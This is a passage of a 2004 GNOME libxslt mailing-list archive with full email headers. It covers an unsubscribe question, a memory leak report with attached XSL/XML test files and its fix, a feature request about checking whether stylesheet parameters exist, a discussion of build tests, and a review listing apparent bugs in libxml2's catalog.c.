xslt@gnome.org > http://mail.gnome.org/mailman/listinfo/xslt >=20 --=20 Esther Parrilla Endrino Ground Segment Systems Division DEIMOS SPACE S.L. http://www.deimos-space.com e-mail: esther.parrilla@deimos-space.com tel: 00 34 91 806 34 57 ~ Code matters more than comercials ~ -- From malcolm@commsecure.com.au Mon Feb 23 17:34:42 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from commsecure.com.au (CommSecureAustPtyLtd.sb1.optus.net.au [203.202.148.106]) by mail.gnome.org (Postfix) with ESMTP id B3A8D18A1C for ; Mon, 23 Feb 2004 17:34:41 -0500 (EST) Received: from sunhill.commsecure.com.au (sunhill.commsecure.com.au [172.16.15.1]) by commsecure.com.au (8.11.6/8.11.6) with ESMTP id i1NMYbV23134 for ; Tue, 24 Feb 2004 09:34:37 +1100 Received: from ws14.commsecure.com.au (ws14.commsecure.com.au [172.16.15.14]) by sunhill.commsecure.com.au (8.11.6/8.11.6) with ESMTP id i1NMYbe07348 for ; Tue, 24 Feb 2004 09:34:37 +1100 Received: from ws14.commsecure.com.au (localhost.localdomain [127.0.0.1]) by ws14.commsecure.com.au (8.12.10/8.12.8) with ESMTP id i1NMYbhx019540 for ; Tue, 24 Feb 2004 09:34:37 +1100 Received: (from malcolm@localhost) by ws14.commsecure.com.au (8.12.10/8.12.10/Submit) id i1NMYbDU019538 for xslt@gnome.org; Tue, 24 Feb 2004 09:34:37 +1100 X-Authentication-Warning: ws14.commsecure.com.au: malcolm set sender to malcolm@commsecure.com.au using -f Subject: Unsubscribing (was Re: [xslt] Release of libxslt-1.1.4) From: Malcolm Tredinnick To: xslt@gnome.org In-Reply-To: <1077559437.3042.15.camel@pc_espe> References: <20040223174937.GL29855@redhat.com> <1077559437.3042.15.camel@pc_espe> Content-Type: text/plain Content-Transfer-Encoding: 7bit Message-Id: <1077575676.19442.4.camel@ws14.commsecure.com.au> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) Date: Tue, 24 Feb 2004 09:34:37 +1100 Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: On Tue, 2004-02-24 at 05:03, Esther Parrilla Endrino wrote: > hi all, > sorry for sending this email but how can I unsucribe to the list? I can > find the link in the http://mail.gnome.org/mailman/listinfo/xslt web > page Look down at the very bottom of that page. The last text entry box on the page asks for your subscription address and then you click "Edit options..." to go a page that allows you to unsubscribe by entering your password. Malcolm From mh@glandium.org Mon Feb 23 22:33:38 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from postfix4-2.free.fr (postfix4-2.free.fr [213.228.0.176]) by mail.gnome.org (Postfix) with ESMTP id D948D180E2 for ; Mon, 23 Feb 2004 22:33:37 -0500 (EST) Received: from imp6-q.free.fr (imp6-q.free.fr [212.27.42.6]) by postfix4-2.free.fr (Postfix) with ESMTP id 74DB77CB10 for ; Tue, 24 Feb 2004 04:33:37 +0100 (CET) Received: by imp6-q.free.fr (Postfix, from userid 33) id 6EF221AD7A; Tue, 24 Feb 2004 04:33:37 +0100 (MET) Received: from host-202-215-53-68-b-base.svips.gol.ne.jp (host-202-215-53-68-b-base.svips.gol.ne.jp [202.215.53.68]) by imp6-q.free.fr (IMP) with HTTP for ; Tue, 24 Feb 2004 04:33:37 +0100 Message-ID: <1077593617.403ac61161e3b@imp6-q.free.fr> Date: Tue, 24 Feb 2004 04:33:37 +0100 From: Mike Hommey To: xslt@gnome.org MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit User-Agent: Internet Messaging Program (IMP) 3.2.1 Subject: [xslt] Possible Memory Leak found Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: Hi, I triggered a memory leak in libxslt 1.1.2 (with libxml2 2.6.6), which is reproducible with xsltproc. It has been found with valgrind. I first need to check if it is still there with latest libxslt, but I would also like to know what kind of informations I should be needed to send with my report. I only found information about memory debugging for libxml2 on the website, which I assume would be a good start, but I'm wandering if there are any other activatable stuff specific to libxslt. Cheers Mike From wbrack@mmm.com.hk Mon Feb 23 23:28:00 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from delightful.com.hk (adsl-63-204-84-206.dsl.sktn01.pacbell.net [63.204.84.206]) by mail.gnome.org (Postfix) with ESMTP id 86EE3188A7 for ; Mon, 23 Feb 2004 23:27:59 -0500 (EST) Received: from delightful.com.hk (localhost [127.0.0.1]) by delightful.com.hk (8.12.10/8.12.4) with SMTP id i1O4Rv8E016217; Mon, 23 Feb 2004 20:27:57 -0800 Received: from 219.78.243.159 (SquirrelMail authenticated user wbrack) by www.delightful.com.hk with HTTP; Tue, 24 Feb 2004 12:27:57 +0800 (HKT) Message-ID: <3586.219.78.243.159.1077596877.squirrel@www.delightful.com.hk> In-Reply-To: <1077593617.403ac61161e3b@imp6-q.free.fr> References: <1077593617.403ac61161e3b@imp6-q.free.fr> Date: Tue, 24 Feb 2004 12:27:57 +0800 (HKT) Subject: Re: [xslt] Possible Memory Leak found From: "William M. Brack" To: xslt@gnome.org Cc: xslt@gnome.org User-Agent: SquirrelMail/1.4.2 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 Importance: Normal Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: Mike Hommey said: > Hi, > > I triggered a memory leak in libxslt 1.1.2 (with libxml2 2.6.6), > which is > reproducible with xsltproc. It has been found with valgrind. > I first need to check if it is still there with latest libxslt, but > I would > also like to know what kind of informations I should be needed to > send with my > report. I only found information about memory debugging for libxml2 > on the > website, which I assume would be a good start, but I'm wandering if > there are > any other activatable stuff specific to libxslt. > > Cheers > > Mike Hi Mike, If a problem is reproducible with xsltproc, it's only necessary to provide a sample file which triggers the problem. You can either post that directly to this list, or (if you prefer) open a bug report. In either case, I can assure you there will be a prompt investigation and response (we take memory leaks *very* seriously). Regards, Bill From xyster_@hotmail.com Tue Feb 24 02:57:53 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from hotmail.com (bay1-f23.bay1.hotmail.com [65.54.245.23]) by mail.gnome.org (Postfix) with ESMTP id C91D3184D1 for ; Tue, 24 Feb 2004 02:57:52 -0500 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Mon, 23 Feb 2004 23:57:51 -0800 Received: from 24.5.129.154 by by1fd.bay1.hotmail.msn.com with HTTP; Tue, 24 Feb 2004 07:57:51 GMT X-Originating-IP: [24.5.129.154] X-Originating-Email: [xyster_@hotmail.com] X-Sender: xyster_@hotmail.com From: "Xyster !" To: xslt@gnome.org Date: Tue, 24 Feb 2004 07:57:51 +0000 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 24 Feb 2004 07:57:51.0839 (UTC) FILETIME=[E6FFEEF0:01C3FAAB] Subject: [xslt] Testing if parameters exist Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: I imagine this idea might be a little bit heretical but I'm using xsltproc and was wondering if is there a way to test if a stylesheet parameter or variable is defined/exists without xsltproc erroring out trying to evaluate it? This may initially sound like a silly idea since all parameters would appear to be always well defined at stylesheet 'write-time'. However, if parameters are dynamically evaluated based on the input document (think dyn:evaluate(concat('$', $varname)) ), then in this is not the case anymore. Being able to evaluate the existence of parameters without causing an error would be useful in this situation by providing a mechanism for backwards compatibility of input documents with older stylesheets. Thanks, Yuval _________________________________________________________________ STOP MORE SPAM with the new MSN 8 and get 2 months FREE* http://join.msn.com/?page=features/junkmail From veillard@redhat.com Tue Feb 24 05:18:28 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by mail.gnome.org (Postfix) with ESMTP id 6C59A18470 for ; Tue, 24 Feb 2004 05:18:28 -0500 (EST) Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1OAIRb23212; Tue, 24 Feb 2004 05:18:27 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1OAIRi20026; Tue, 24 Feb 2004 05:18:27 -0500 Received: from devserv.devel.redhat.com (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with ESMTP id i1OAIPkC000991; Tue, 24 Feb 2004 05:18:25 -0500 Received: (from veillard@localhost) by devserv.devel.redhat.com (8.12.10/8.12.10/Submit) id i1OAIP0C000988; Tue, 24 Feb 2004 05:18:25 -0500 Date: Tue, 24 Feb 2004 05:18:25 -0500 From: Daniel Veillard To: xyster_@hotmail.com Cc: xslt@gnome.org Subject: Re: [xslt] Testing if parameters exist Message-ID: <20040224101825.GA31124@redhat.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org X-Reply-To: veillard@redhat.com List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: On Tue, Feb 24, 2004 at 07:57:51AM +0000, Xyster ! wrote: > I imagine this idea might be a little bit heretical but I'm using xsltproc > and was wondering if is there a way to test if a stylesheet parameter or > variable is defined/exists without xsltproc erroring out trying to evaluate > it? > > This may initially sound like a silly idea since all parameters would > appear to be always well defined at stylesheet 'write-time'. However, if > parameters are dynamically evaluated based on the input document (think > dyn:evaluate(concat('$', $varname)) ), then in this is not the case anymore. > Being able to evaluate the existence of parameters without causing an error > would be useful in this situation by providing a mechanism for backwards > compatibility of input documents with older stylesheets. That sounds like a request for enhancement. Can you bugzilla this ? Daniel -- Daniel Veillard | Red Hat Network https://rhn.redhat.com/ veillard@redhat.com | libxml GNOME XML XSLT toolkit http://xmlsoft.org/ http://veillard.com/ | Rpmfind RPM search engine http://rpmfind.net/ From veillard@redhat.com Tue Feb 24 07:22:10 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by mail.gnome.org (Postfix) with ESMTP id 081471835A for ; Tue, 24 Feb 2004 07:22:10 -0500 (EST) Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1OCM9b22374 for ; Tue, 24 Feb 2004 07:22:09 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1OCM9i19121 for ; Tue, 24 Feb 2004 07:22:09 -0500 Received: from devserv.devel.redhat.com (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with ESMTP id i1OCM7kC022672 for ; Tue, 24 Feb 2004 07:22:07 -0500 Received: (from veillard@localhost) by devserv.devel.redhat.com (8.12.10/8.12.10/Submit) id i1OCM7Cl022670 for xslt@gnome.org; Tue, 24 Feb 2004 07:22:07 -0500 Date: Tue, 24 Feb 2004 07:22:07 -0500 From: Daniel Veillard To: xslt@gnome.org Subject: Re: [xslt] Release of libxslt-1.1.3 Message-ID: <20040224122207.GC31124@redhat.com> References: <20040221121723.GB18703@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org X-Reply-To: veillard@redhat.com List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: On Mon, Feb 23, 2004 at 01:41:45PM +0100, Peter Breitenlohner wrote: > Alternatively, if the missing files do exist in the CVS please arrange to > have them included in the distribution. okay, basically a patch removing the tests is not really useful. > This is highly misleading because 'make check' with srcdir != . fails in a > rather horrible way. > > I am quite aware that it might not at all be trivial to fix all the tests. I think it's simply not possible. > Until that is done (if ever), the best would probably be not to run any > tests if srcdir != . and output a message to that effect. Hum, most tests do pass in that environment. That sounds far too restrictive to me. Daniel -- Daniel Veillard | Red Hat Network https://rhn.redhat.com/ veillard@redhat.com | libxml GNOME XML XSLT toolkit http://xmlsoft.org/ http://veillard.com/ | Rpmfind RPM search engine http://rpmfind.net/ From veillard@redhat.com Tue Feb 24 07:22:57 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by mail.gnome.org (Postfix) with ESMTP id 1443A1843A for ; Tue, 24 Feb 2004 07:22:56 -0500 (EST) Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1OCMub22473 for ; Tue, 24 Feb 2004 07:22:56 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1OCMui19190 for ; Tue, 24 Feb 2004 07:22:56 -0500 Received: from devserv.devel.redhat.com (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with ESMTP id i1OCMskC022918 for ; Tue, 24 Feb 2004 07:22:54 -0500 Received: (from veillard@localhost) by devserv.devel.redhat.com (8.12.10/8.12.10/Submit) id i1OCMsP6022916 for xslt@gnome.org; Tue, 24 Feb 2004 07:22:54 -0500 Date: Tue, 24 Feb 2004 07:22:54 -0500 From: Daniel Veillard To: xslt@gnome.org Subject: Re: [xslt] Release of libxslt-1.1.3 Message-ID: <20040224122254.GD31124@redhat.com> References: <20040221121723.GB18703@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org X-Reply-To: veillard@redhat.com List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: On Mon, Feb 23, 2004 at 02:17:47PM +0100, Peter Breitenlohner wrote: > On Mon, 23 Feb 2004, Peter Breitenlohner wrote: > > > Hi Daniel, > > > > ........... > > > > Contrary to this, 'make check' for libxslt-1.1.3 with srcdir != . succeeds > > in all tests and there is only a reasonably small number of output lines > > from the various diffs where the value of srcdir shows up. > > Sorry, this was NOT correct: 'make check' for libxslt-1.1.3 with srcdir != . > fails in the last test 'stand-2.7-1' in tests/REC. I don't think this can be fixed. Daniel -- Daniel Veillard | Red Hat Network https://rhn.redhat.com/ veillard@redhat.com | libxml GNOME XML XSLT toolkit http://xmlsoft.org/ http://veillard.com/ | Rpmfind RPM search engine http://rpmfind.net/ From mh@glandium.org Wed Feb 25 01:10:17 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from glandium.org (unknown [202.215.53.68]) by mail.gnome.org (Postfix) with ESMTP id 734341837E for ; Wed, 25 Feb 2004 01:10:17 -0500 (EST) Received: from localhost ([127.0.0.1] helo=glandium.org) by glandium.org with esmtp (Exim 3.36 #1 (Debian)) id 1AvsFA-000145-00 for ; Wed, 25 Feb 2004 15:10:04 +0900 Message-ID: <403C3C3B.7070901@glandium.org> Date: Wed, 25 Feb 2004 15:10:03 +0900 From: Mike Hommey User-Agent: Mozilla Thunderbird 0.5 (X11/20040221) X-Accept-Language: en-us, en MIME-Version: 1.0 To: xslt@gnome.org Subject: Re: [xslt] Possible Memory Leak found References: <1077593617.403ac61161e3b@imp6-q.free.fr> <3586.219.78.243.159.1077596877.squirrel@www.delightful.com.hk> In-Reply-To: <3586.219.78.243.159.1077596877.squirrel@www.delightful.com.hk> X-Enigmail-Version: 0.83.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: multipart/mixed; boundary="------------070000080101050200070306" Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: This is a multi-part message in MIME format. --------------070000080101050200070306 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Hi, William M. Brack wrote: > Hi Mike, > > If a problem is reproducible with xsltproc, it's only necessary to > provide a sample file which triggers the problem. You can either > post that directly to this list, or (if you prefer) open a bug > report. In either case, I can assure you there will be a prompt > investigation and response (we take memory leaks *very* > seriously). Okay, so, attached to this mail is a reduced test case (I removed a lot of things, but kept things so that the same amount of memory is leaked as with the full XSLT file.) I didn't have time yet to test with libxslt 1.1.4, so I still don't know if it has been already fixed or not. Cheers Mike --------------070000080101050200070306 Content-Type: application/gzip; name="full.xsl.gz" Content-Transfer-Encoding: base64 Content-Disposition: inline; filename="full.xsl.gz" H4sICMglO0AAA2Z1bGwueHNsALVWy27bMBC8+ysIIoAfsM2madFGkJWceuqtKVDA8IGWaIku RQkiFTtI8h29FL31UvS7gn5Gl3pQthPbUJD4Iq84uzM7S0pyL9axQNcsUzyRE3w6foMRk34S cBlO8NerT6OP+MLruGslHKVvBFMRY3onAUpI5QBkgiOtU4eQ1Wo1Xp2Nkywkp+fn5+Tbl8/k KqNSLZIsrhL2gteRjkVdNbSwUFAZ8DwugPXyw4/fDz///vvz62mY5FEiw8TCA6qZRTJQrAuY ua1GkDfSPGYKLFj7Ig/YKGMqF3qUZmzB1wwkh8gyIpOFvU4HocIezeJUwC0UU+1HAHXSRGkF CAQ/1zRlVDigD5paZNUCLM2T4KYOqmI0TcXNqC6pkGKC+XqCB5jYNNLkucSUN/9dsqnlqDpS XqdhYc2sFmsyrmnG6VwwJGkMpvEAWxWXEJD90MIYC/YT6VPdU/lc6Qy2Va/kGp4O3/WHXdId Plp5P3y7Z+UDrPQNdckd8GvEgwk2Ldye8OC+8dTI4gsE3oEEY3lvSft412UN1ee5roXX48He kpZGWkTjelnZxtGZ51IUwQ6Z4NsTo/KebGs5MtLQ0VwLtjlY6sFAz7Z62Z8N/momtR0IAVfa 7wRSy9gY6y5nnARgkj0AzYjHJXlrxlr6fs6WdauCZlfTjNZ1U+9AO4LL79uduCRt2Q1wAaVK qbwLHQ6AJjKXKjpu7WMtz+xecKUbKSaqyXPR1oy85XPFsJGSuyYVvC0pZLQiNf5OL80pnN2V A2kio6SK8CZlJc4e3gKy8whpewTK09tC+uApSa95+CxhU+qFjt9gWjxnu0va7SN4mSKZ6B6V PjyCk8xxBtNL+/ozmFl/9mpSqg3xWA86LGhqJBf74IA4U3rjTb6kB7eM3RYm7akeEDpm6CLr voBX+3m23CrInuPD5hfNc3zolDear0yv8x8u7ZJ0ngoAAA== --------------070000080101050200070306 Content-Type: application/gzip; name="sample.xml.gz" Content-Transfer-Encoding: base64 Content-Disposition: inline; filename="sample.xml.gz" H4sICGcdO0AAA3NhbXBsZS54bWwArVbBbttGED3HX7HZS1JAEiUnDgKBog9BCvRYwOl9S60l utSS4ZJxehOpwAiaFoXhVm6Rpg2K1LKdNikQFGjgAj3oT7qJa/9FZ5cUTVKUrDg9SdydmZ15 ++bN6qv3eza6Rz1uOayFG7U6RpSZTttinRa+s/Zh9SZeNZZ01+E+R2DLePN495fjH349Ofyx hbu+7zY1rWMT1raCXs3xOhqzug7rOBqOzcuN1GYTVuCUdQ8bSwipMzLLGwQjq93CN9Qu7PuW b1OUnt789++jk/1XkCVDJPA9inqUc9KhUADaIK7DiMVxxv7k8Lfj4esWFuGRCB+J8IUIn8v/ 0Y4Iv1Gfo+R/tIONN0dDWEu94f+bv56c7Pd1TeWR5NQmPkWblH7WJp+3cB0by/X69Xpj+Yau ya3EilPTB3wNEe2JaCQGQxH9IaJnYvBQ1yZ7saXpMJ8yP/6SmBCPlJR8K1MsgDY+MD3Lz9aN qI8IChhFvkfagTqiHIudQuUifJnHZaTAeiDCPdEPk/UIPr8W4ZcijET0CBtxmBggCJBBbXT8 +M/UO04/9RP9SOcuYQUumE7QtRhaBWxg09A1CUIekbzDbR85LCnXpXA98NP1CFdMWPcIG48A klo2kK5lkIYNoN4ZByXrVnKsM9YA5szNFz2mWXs9739RHq38jzy6wC0dysXJLU3T8DbASyy/ gjYCDvkHDOAP0FXgnnlF8lJeCPU8GngflJPvOxE+U4T7XuW2K8KnItzGxtsXP8Hy29+307WE DDKZaT4Ykk8y/S0RPhThF4qxXymKbqvA36o4cMhjET75p7/3TlS4hksvaUVd0kr9ZmP57JLK /Jcn/perVbRmSaVqX5FYSYO7gYWYAsslPNfBDDitmhc6exVVjQRJdBlVqzlunQ53TmWFD96H UqeD/dOhZEUm2gKU+jig9t2AcqRD1/VQ16PrLezajosNH4riuibXDSg4zp6jZuH+bEvidSkO B1IufzsecbuAEmEc2QRJEzpxu5Q9KRktm5ubtY7jdGxaM52ehg1A17YATHrfpx6QkMtI0kU2 aSVJKgllFD9j1VF5xSsQDTSJmImhrsV7MSOnoqk0C+5qPhXdlWHRXbbMrHbLSLkRryU5xPXl RCgftiBQ06HlsYowCnPI+FPbMSf0w4YiU5FAkyOSi4zLWqylGvmZnsvOkKI2eCUGu2Lw/D0o PRX1Qpp5i5oWirUMFYdVOZSS9+Vqt6ckaB9yGWyJ6HWcgry/2oyeUPh+4liQgrwg1QfThEHc tSk8rdow7GWm7QmD5vZI2g4tTIFPk3YZH3gW9OkMck+onB4k3SqoJ/Uqe2b61nNZBxsWU11Y QSb14QLXHYuXxz8X24+k0bnPu8KrLkomW9THuTksop8VEbbE4CmMvbmpzIFykTwRuUdNlKhS adKDQ8n56OXZ42heGdPmixc2t5Q8KSBh5SKzrhWocKe0H6aoDcoPjHGqZ9qFrkLH9xxfdZXr jQ84NB1y7QAUGkwT1adqPFbUVIQR4FJLKhQQzwETcHLHB0CqWq2YVipkVILdga9mUTcaiW5c qzcS3ZCv5bxiJ81WHEF5AS+2xuwOUN2lONAOFpSRRSme4XQKOZVpp8/nWSo9eUy/GyEy8zmh xTlPqfiXG0v/AX2/DH1sDgAA --------------070000080101050200070306-- From wbrack@mmm.com.hk Wed Feb 25 03:12:06 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from delightful.com.hk (adsl-63-204-84-206.dsl.sktn01.pacbell.net [63.204.84.206]) by mail.gnome.org (Postfix) with ESMTP id A1F2E181CC for ; Wed, 25 Feb 2004 03:12:05 -0500 (EST) Received: from delightful.com.hk (localhost [127.0.0.1]) by delightful.com.hk (8.12.10/8.12.4) with SMTP id i1P8C48E020111; Wed, 25 Feb 2004 00:12:04 -0800 Received: from 218.103.23.45 (SquirrelMail authenticated user wbrack) by www.delightful.com.hk with HTTP; Wed, 25 Feb 2004 16:12:04 +0800 (HKT) Message-ID: <1321.218.103.23.45.1077696724.squirrel@www.delightful.com.hk> In-Reply-To: <403C3C3B.7070901@glandium.org> References: <1077593617.403ac61161e3b@imp6-q.free.fr> <3586.219.78.243.159.1077596877.squirrel@www.delightful.com.hk> <403C3C3B.7070901@glandium.org> Date: Wed, 25 Feb 2004 16:12:04 +0800 (HKT) Subject: Re: [xslt] Possible Memory Leak found From: "William M. Brack" To: xslt@gnome.org Cc: xslt@gnome.org User-Agent: SquirrelMail/1.4.2 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 Importance: Normal Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: Mike Hommey said: > Hi, > > William M. Brack wrote: >> Hi Mike, >> >> If a problem is reproducible with xsltproc, it's only necessary >> to >> provide a sample file which triggers the problem. You can either >> post that directly to this list, or (if you prefer) open a bug >> report. In either case, I can assure you there will be a prompt >> investigation and response (we take memory leaks *very* >> seriously). > > > Okay, so, attached to this mail is a reduced test case (I removed a > lot > of things, but kept things so that the same amount of memory is > leaked > as with the full XSLT file.) > I didn't have time yet to test with libxslt 1.1.4, so I still don't > know > if it has been already fixed or not. > > Cheers > > Mike With the information you sent, I was able to quickly find the problem. The leak was actually caused by libxml2/xpath.c, related to the language attribute. I have fixed that routine, and the corrected source is in CVS. Thanks for the report. Bill From peb@mppmu.mpg.de Wed Feb 25 04:45:01 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from mail.mppmu.mpg.de (mail.mppmu.mpg.de [134.107.24.11]) by mail.gnome.org (Postfix) with ESMTP id DCC7418814 for ; Wed, 25 Feb 2004 04:44:58 -0500 (EST) Received: by mail.mppmu.mpg.de (Postfix, from userid 1111) id 87D6FBDAF; Wed, 25 Feb 2004 10:44:50 +0100 (CET) Received: from pcl321.mppmu.mpg.de (pcl321.mppmu.mpg.de [134.107.3.54]) by mail.mppmu.mpg.de (Postfix) with ESMTP id 77EBBBD5E for ; Wed, 25 Feb 2004 10:44:50 +0100 (CET) Received: from pcl321.mppmu.mpg.de (localhost [127.0.0.1]) by pcl321.mppmu.mpg.de (8.12.9/8.12.9) with ESMTP id i1P9ig5p014443 for ; Wed, 25 Feb 2004 10:44:50 +0100 Received: from localhost (peb@localhost) by pcl321.mppmu.mpg.de (8.12.9/8.12.9/Submit) with ESMTP id i1P9iYQq014439 for ; Wed, 25 Feb 2004 10:44:42 +0100 X-Authentication-Warning: pcl321.mppmu.mpg.de: peb owned process doing -bs Date: Wed, 25 Feb 2004 10:44:34 +0100 (CET) From: Peter Breitenlohner To: Daniel Veillard In-Reply-To: <20040224122254.GD31124@redhat.com> Message-ID: References: <20040221121723.GB18703@redhat.com> <20040224122254.GD31124@redhat.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [xslt] libxml2-2.6.7/catalog.c -- various inconsistencies Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: Hi Daniel, 1. in order to better understand the XML catalog handling I had a look at the source code in catalog.c. In doing so I noticed several inconsistencies, ranging from (I think) a bug to typos in the embedded docu. 1.1 xmlCatalogUnWrapURN l.765 if ((urn[1] == '2') && (urn[1] == 'B')) this can't possibly work and certainly should be if ((urn[1] == '2') && (urn[2] == 'B')) ^ same for the other 7 cases 1.2 xmlCatalogListXMLResolve l.1885 if (pubID == NULL) ret = xmlCatalogListXMLResolve(catal, urnID, NULL); else if (xmlStrEqual(pubID, urnID)) ret = xmlCatalogListXMLResolve(catal, pubID, NULL); else { ret = xmlCatalogListXMLResolve(catal, pubID, NULL); this doesn't make much sense and probably should read if (pubID == NULL) ret = xmlCatalogListXMLResolve(catal, urnID, NULL); else if (xmlStrEqual(pubID, urnID)) ret = xmlCatalogListXMLResolve(catal, pubID, NULL); else { ret = xmlCatalogListXMLResolve(catal, pubID, urnID); ^^^^^ 1.3 xmlCatalogListXMLResolve l.1902 ret = xmlCatalogXMLResolve(catal->children, pubID, sysID); shouldn't this be ret = xmlCatalogListXMLResolve(catal->children, pubID, sysID); ? depends on whether catal->children can be a list of children or is always just one child 1.4 xmlACatalogResolve l.2667 if (xmlDebugCatalogs) { if (pubID != NULL) { xmlGenericError(xmlGenericErrorContext, "Resolve: pubID %s\n", pubID); } else { xmlGenericError(xmlGenericErrorContext, "Resolve: sysID %s\n", sysID); } } I think this should be replaced by if (xmlDebugCatalogs) { if ((pubID != NULL) && (sysID != NULL)) { xmlGenericError(xmlGenericErrorContext, "Resolve: pubID %s sysID %s\n", pubID, sysID); } else if (pubID != NULL) { xmlGenericError(xmlGenericErrorContext, "Resolve: pubID %s\n", pubID); } else { xmlGenericError(xmlGenericErrorContext, "Resolve: sysID %s\n", sysID); } } or equivalent, because xmlCatalogListXMLResolve and xmlCatalogSGMLResolve will resolve either pubID or sysID. 1.5 xmlCatalogLocalResolve l.3436 ditto 1.6 various typos in the embedded docu xmlCatalogGetSGMLSystem l.2382 * @sysId: the public ID string ^^^^^^ * Returns the system ID if found or NULL otherwise. ^^^^^^^^^ what do all these *Resolve routines return? Please clarify 